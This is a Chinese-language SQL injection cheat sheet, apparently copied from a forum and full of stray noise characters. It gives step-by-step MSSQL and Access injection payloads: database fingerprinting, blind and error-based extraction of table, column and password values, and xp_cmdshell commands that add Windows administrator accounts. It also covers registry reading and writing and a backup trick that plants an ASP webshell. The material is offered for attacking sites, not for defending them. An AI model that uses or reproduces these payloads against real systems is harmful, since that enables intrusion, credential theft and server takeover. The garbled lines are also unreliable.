1.判断是否有注入
' i, Y5 g3 z8 A& t }5 {;and 1=1 1 [' B/ F \, V; c+ _3 H
;and 1=2
0 C: W. T% r/ L# y+ }$ g7 d0 t5 w) ]1 p0 s. h
2.初步判断是否是mssql 6 E4 _% w& i: u% w; J# `
;and user>0 : G$ n- s: }7 m8 ~( h y
; [; [3 V+ X; |3.判断数据库系统 : x3 w' t/ u- ?
;and (select count(*) from sysobjects)>0 mssql ( r D* w# |& Q) ~7 g# @$ j `
;and (select count(*) from msysobjects)>0 access . c' |; ]- T! a; U4 t& p
4 E1 F) d. w3 m/ r' e P' G
4.注入参数是字符 : c' U2 v2 |" N% k
'and [查询条件] and ''='
9 y) @# P" l9 k/ }% x; z/ R- _: p. z C3 S9 ^& y4 P
5.搜索时没过滤参数的 & U2 |, w( z4 E+ z" q
'and [查询条件] and '%25'=' ! J6 ~5 R& X+ s3 ]7 \
! @+ Z! P# H. E& \) N6.猜数表名 ; k2 S8 M0 J# A' S9 f; N# r
;and (select Count(*) from [表名])>0 7 B4 E& a( Z( t& J! ?) n
9 K) }6 C/ e8 x; x+ N/ ]! m! `7.猜字段 - r4 `' a w& j f6 i7 Z
;and (select Count(字段名) from 表名)>0 6 A a) |8 Y: o# ~% Z* ?' ~+ y
& f, H0 C0 z1 Q$ l" z( C
8.猜字段中记录长度
9 s* T5 b& i9 i: D: u; _;and (select top 1 len(字段名) from 表名)>0 S. D4 }3 h% Z3 L, f4 A8 b c! J: q: i
/ d2 A$ z$ F4 m0 [
9.(1)猜字段的ascii值(access)
4 G6 ?) U" w# B;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
2 J" I; i$ }8 x. o5 d2 K2 O! _8 |2 T
+ V3 ]+ G) k6 P( f7 Z(2)猜字段的ascii值(mssql) , n* O b' c" {* O( r4 i. W
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 3 W* c8 [3 q0 L
6 _: m! L) }/ u' b8 i9 P
10.测试权限结构(mssql) 6 f& X R; L) I- Y0 L; D9 z6 q4 i. M
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
! q1 ]! o5 @( o' o;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ r! l2 J# t% d# v! S3 a X
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6 F* ^! d3 K0 j5 ], x9 \6 L6 {; C
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- - o ~, _+ k& s
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4 Y* Q% S7 P9 z1 F
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
# P: R) ?, s# o9 A4 r, v$ s+ C8 U T. p;and 1=(select IS_MEMBER('db_owner'));--
) p# H1 c- ]- c7 L4 G$ Z
R- o4 O8 S% W6 z* f( |11.添加mssql和系统的帐户 7 ?2 N* U+ G6 Q: N6 ~
;exec master.dbo.sp_addlogin username;-- " {) B1 o/ p/ ?7 U m$ j
;exec master.dbo.sp_password null,username,password;--
1 ^" ?% ?0 P$ S+ f% b$ A; e;exec master.dbo.sp_addsrvrolemember sysadmin username;-- - @* e+ d: A9 x, M% L$ d
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
* O2 e4 ]& H3 B4 B;exec master.dbo.xp_cmdshell 'net user username password /add';-- ( P: F( D! W1 w# y P3 x
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
. s: `+ ^% G% O: H* E; f$ q% ~
$ x- G# Y4 \" E0 i! [12.(1)遍历目录 7 O# F9 H3 q1 e0 p6 X1 O4 _
;create table dirs(paths varchar(100), id int)
* Q, w. l, C" ?+ p;insert dirs exec master.dbo.xp_dirtree 'c:\' 4 L# y- ~0 [4 W% b5 _
;and (select top 1 paths from dirs)>0 * D/ F* j3 L5 U' l6 V+ U) w
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
( b* y3 ~, w* h' ^+ Y2 [
# m( g3 T& @% J(2)遍历目录 4 S W# [$ X5 y1 G4 i8 H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ D3 ?& `* ]- S# ^
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: \; g( k- `: F' Q;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 1 A# S9 H6 F! x0 |) C: C* N
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
% V$ E, q; O& Y" H0 u;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
2 D, u1 b4 k# c8 _8 Y; B
1 C# u! [7 g$ H$ L0 m13.mssql中的存储过程
8 y6 h2 B& H8 t. b$ Txp_regenumvalues 注册表根键, 子键
7 U# A0 j% ~( t;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
8 m7 P9 M' X+ Y3 \; [xp_regread 根键,子键,键值名
9 j# m4 N, y0 t B2 p;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" n& H4 f: t/ C3 Uxp_regwrite 根键,子键, 值名, 值类型, 值 5 f5 f. a) L+ |+ l" J2 s
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - ?, O! p6 C3 V+ ` W8 d+ p
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 : ?- U, V* c A1 c) X4 G' u& H7 C
xp_regdeletevalue 根键,子键,值名
+ W$ k( t |, ?7 d5 iexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
% r G5 K5 R# n2 U% V' N% Cxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
* \, u! A! M7 V5 n" Q0 ]- l& N ]# A* l
14.mssql的backup创建webshell p3 s! D! \ E7 _1 O
use model
) M+ } z2 |) F: Qcreate table cmd(str image); " N5 ^9 y7 r0 i8 d1 i2 @- z) b( R# H
insert into cmd(str) values ('<% Dim oScript %>'); ) Z0 y6 o R# e/ F9 G/ ]
backup database model to disk='c:\l.asp';
6 F# k, E0 h- ?' a% b: W1 g- ]8 K- b
15.mssql内置函数 2 n" ]5 a* k: G; T2 |4 M
;and (select @@version)>0 获得Windows的版本号
& c$ p, [/ C' `$ a) f: s1 |;and user_name()='dbo' 判断当前系统的连接用户是不是sa
9 v& l* B) i6 x' B) ~' W;and (select user_name())>0 爆当前系统的连接用户 ' E7 f" g8 A5 W3 d0 m4 y% c
;and (select db_name())>0 得到当前连接的数据库
8 P5 R! C4 c% I9 W( w$ k0 |* K* I C& Q% c9 n
- k/ R6 u5 x( N5 s% L% v
+ f4 ^* B% m' W8 A
MSSQL手注暴库; f6 D+ o H) E. A% l
; \* l% G7 k4 v/ j7 Y1.暴出当前表名和列名/ v& D3 H5 L2 g4 o& k
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
$ o4 N$ b! d" J% y- K% r
! i9 w) M( P* K$ t第一.爆出所有数据库名( ^1 Z( ^$ ]" `3 ]
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。& Q+ o: w1 g( r1 R2 D
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
; L, q) `$ t/ Y* v, y7 @7 w8 }4 l$ Y3 R
/ r- V, Y% B' }6 \and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
% t) D5 i* d* u7 z/ |9 c' \0 @: T/ d4 i
: H. L: e) ^3 t& ]4 k0 E b第二.爆出指定库中的所有表名
! u$ I! e0 L8 o# Y5 S得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
! j$ l+ E- w3 H/ J再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。6 o5 t. T+ S2 z7 x- M) g; V6 X8 k
. C2 h& [7 l7 I l5 ? @/ r' T) ]4 dand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
9 Z* c% p8 f+ m: l2 z' a5 ]; tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
8 V9 V I. C o% i uand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--7 _* m0 z; z/ }4 d( u7 l
p+ N3 X: F: y. t; E2 ?' M7 S4.爆出指定表中的所有列名
" \- i/ c0 N+ r! ]! a" b0 fand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 9 q/ L% O8 I" {6 c+ M. ~, n" h; H
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名': E/ O6 Z8 k1 J, |
6 H9 [7 D: o9 a$ L$ W" I: U
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名- y, p0 B6 M# Z% h
% J4 K+ X0 d1 H' y" K
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
5 y% k+ v: S2 I: g6 f依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。& F# J/ a" |9 I( }' q- e* q
6 i5 t' Q \/ M- g/ b7 b/ ^9 k, p( b: e Z: H
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
$ o' A7 C9 L c2 x
: W2 o7 ~0 m" y6 t sand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名: e) V( o& I+ @' Y
: f! w! a, b- N3 @and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- # U' n% c/ y+ t* p0 G" X. w, O! y
; v! a8 C# `( _- j4 N
- i. v- o- g7 I4 Z. |) H# A
8 g. S& X8 _# l$ A2 y; i* n& p; Q
5.读取指定表中的数据& r4 }7 \9 }0 b% ~: {8 D
4 ~8 \5 I& X' J9 }; d8 x# {" R3 K1 B
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 4 i/ U8 T5 g6 G( ^1 l" L5 i i
- {- E: b/ g" k5 j: K
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
w, }) `5 j& Y' I. J# O% @
/ `; M: T# l4 m6 Land 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
0 A4 l! x e3 L- y; l
# `" R, \; o4 s; h7 ?5 x( }& T2 }8 G; a
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
Q5 K9 `0 C! y! Y' [
& o$ a% u% X/ r7 o ^ q, mand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
& w8 A: F2 u2 f0 X; T8 ^( a
+ E* |: }. z' Land 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
5 @! @) \- L- G$ }) ~/ I2 T! x& C3 @ n8 ` D; b" S: L6 ^
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
6 b, z1 i; [( h: e* J" k8 k |